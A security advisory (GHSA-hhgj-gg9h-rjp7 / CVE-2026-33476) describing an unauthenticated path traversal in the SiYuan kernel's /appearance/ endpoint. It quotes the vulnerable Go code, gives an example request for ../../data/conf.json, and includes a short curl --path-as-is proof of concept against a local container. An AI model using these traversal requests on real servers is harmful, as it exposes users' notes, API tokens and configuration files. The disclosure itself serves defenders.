GHSA-HHGJ-GG9H-RJP7
Vulnerability from github – Published: 2026-03-20 20:43 – Updated: 2026-03-25 18:22Summary
The Siyuan kernel exposes an unauthenticated file-serving endpoint under /appearance/*filepath. Due to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.
Authentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.
Details
Vulnerable Code Location
File: kernel/server/serve.go
siyuan.GET("/appearance/*filepath", func(c *gin.Context) {
filePath := filepath.Join(
appearancePath,
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
)
...
c.File(filePath)
})
Technical Root Cause
The handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.
Key issues:
1. Unsanitized User Input
The path component extracted from the request is not validated or normalized to prevent traversal.
strings.TrimPrefix(c.Request.URL.Path, "/appearance/")
This preserves sequences such as:
../
..\ (Windows)
2. Unsafe Path Joining
filepath.Join() does not enforce directory confinement.
This escapes the intended directory.
3. Direct File Serving
The resolved path is served without verification:
c.File(filePath)
Authentication Bypass (Unauthenticated Access)
Authentication middleware explicitly skips /appearance/ requests.
File: session.go
if strings.HasPrefix(c.Request.RequestURI, "/appearance/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/build/export/") ||
strings.HasPrefix(c.Request.RequestURI, "/stage/protyle/") {
c.Next()
return
}
This allows attackers to access the vulnerable endpoint without a session or token.
Exploitation Scenario
A remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.
Example request:
GET /appearance/../../data/conf.json HTTP/1.1
Host: target
Because authentication is bypassed, the attack requires no credentials.
PoC
Step 1 — Create marker file
mkdir -p ./workspace/data
echo POC_EXPLOITED > ./workspace/data/poc_exploit.txt
Step 2 — Run SiYuan container
docker run -d \
-p 6806:6806 \
-e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan \
--workspace=/siyuan/workspace
Step 3 — Confirm service works
Open in browser:
http://127.0.0.1:6806
Exploit PoC
Method A — using CURL command
Use --path-as-is so curl does NOT normalize ../.
curl -v --path-as-is \
"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt"
Output
HTTP/1.1 200 OK
POC_EXPLOITED
Method B — Using Browser
http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt
If method B is not working, use method A, which is CURL command to do the exploit
Impact
An unauthenticated attacker can read arbitrary files accessible to the server process, including:
- Workspace configuration files
- User notes and stored data
- API tokens and secrets
- Local system files (depending on permissions)
This may lead to:
- Sensitive information disclosure
- Credential leakage
- Further compromise through exposed secrets
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33476"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-20T20:43:20Z",
"nvd_published_at": "2026-03-20T23:16:48Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Siyuan kernel exposes an unauthenticated file-serving endpoint under **/appearance/*filepath.**\nDue to improper path sanitization, attackers can perform directory traversal and read arbitrary files accessible to the server process.\n\nAuthentication checks explicitly exclude this endpoint, allowing exploitation without valid credentials.\n\n## Details\n\nVulnerable Code Location\n\n**File: kernel/server/serve.go**\n\n``` sh\nsiyuan.GET(\"/appearance/*filepath\", func(c *gin.Context) {\n filePath := filepath.Join(\n appearancePath,\n strings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n )\n ...\n c.File(filePath)\n})\n```\n\n\n**Technical Root Cause**\n\nThe handler constructs a filesystem path by joining a base directory (appearancePath) with user-controlled URL segments.\n\n**Key issues:**\n\n**1. Unsanitized User Input**\n\nThe path component extracted from the request is not validated or normalized to prevent traversal.\n\n``` sh\nstrings.TrimPrefix(c.Request.URL.Path, \"/appearance/\")\n``` \n\nThis preserves sequences such as:\n\n``` sh\n../\n..\\ (Windows)\n```\n\n**2. Unsafe Path Joining**\n\n**_filepath.Join()_** does not enforce directory confinement.\n\nThis escapes the intended directory.\n\n**3. Direct File Serving**\n\nThe resolved path is served without verification:\n\n``` sh\nc.File(filePath)\n``` \n\n### Authentication Bypass (Unauthenticated Access)\n\nAuthentication middleware explicitly skips /appearance/ requests.\n\n**File: session.go**\n``` sh\nif strings.HasPrefix(c.Request.RequestURI, \"/appearance/\") ||\n strings.HasPrefix(c.Request.RequestURI, \"/stage/build/export/\") ||\n strings.HasPrefix(c.Request.RequestURI, \"/stage/protyle/\") {\n c.Next()\n return\n}\n```\nThis allows attackers to access the vulnerable endpoint without a session or token.\n\n### Exploitation Scenario\n\nA remote attacker can craft a URL containing directory traversal sequences to read files accessible to the Siyuan process.\n\nExample request:\n\n```\nGET /appearance/../../data/conf.json HTTP/1.1\nHost: target\n\n```\nBecause authentication is bypassed, the attack requires no credentials.\n\n\n\n\n## PoC\n\n**Step 1 \u2014 Create marker file**\n\n```\nmkdir -p ./workspace/data\necho POC_EXPLOITED \u003e ./workspace/data/poc_exploit.txt\n```\n\n**Step 2 \u2014 Run SiYuan container**\n\n```\ndocker run -d \\\n -p 6806:6806 \\\n -e SIYUAN_ACCESS_AUTH_CODE_BYPASS=true \\\n -v $(pwd)/workspace:/siyuan/workspace \\\n b3log/siyuan \\\n --workspace=/siyuan/workspace\n\n```\n\n**Step 3 \u2014 Confirm service works**\n\nOpen in browser:\n\n``` sh\nhttp://127.0.0.1:6806\n```\n\n### Exploit PoC\n**Method A \u2014 using CURL command**\n\nUse --path-as-is so curl does NOT normalize ../.\n\n``` sh\ncurl -v --path-as-is \\\n \"http://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\"\n```\n\n**Output** \n\n``` sh\nHTTP/1.1 200 OK\nPOC_EXPLOITED\n```\n\n**Method B \u2014 Using Browser**\n\n``` sh\nhttp://127.0.0.1:6806/appearance/../../data/poc_exploit.txt\n```\n\nIf **method B** is not working, use **method A**, which is CURL command to do the exploit\n\n\n### Impact\n\nAn unauthenticated attacker can read arbitrary files accessible to the server process, including:\n\n- Workspace configuration files\n- User notes and stored data\n- API tokens and secrets\n- Local system files (depending on permissions)\n\nThis may lead to:\n\n- Sensitive information disclosure\n- Credential leakage\n- Further compromise through exposed secrets",
"id": "GHSA-hhgj-gg9h-rjp7",
"modified": "2026-03-25T18:22:10Z",
"published": "2026-03-20T20:43:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33476"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Siyuan has an Unauthenticated Arbitrary File Read via Path Traversal"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.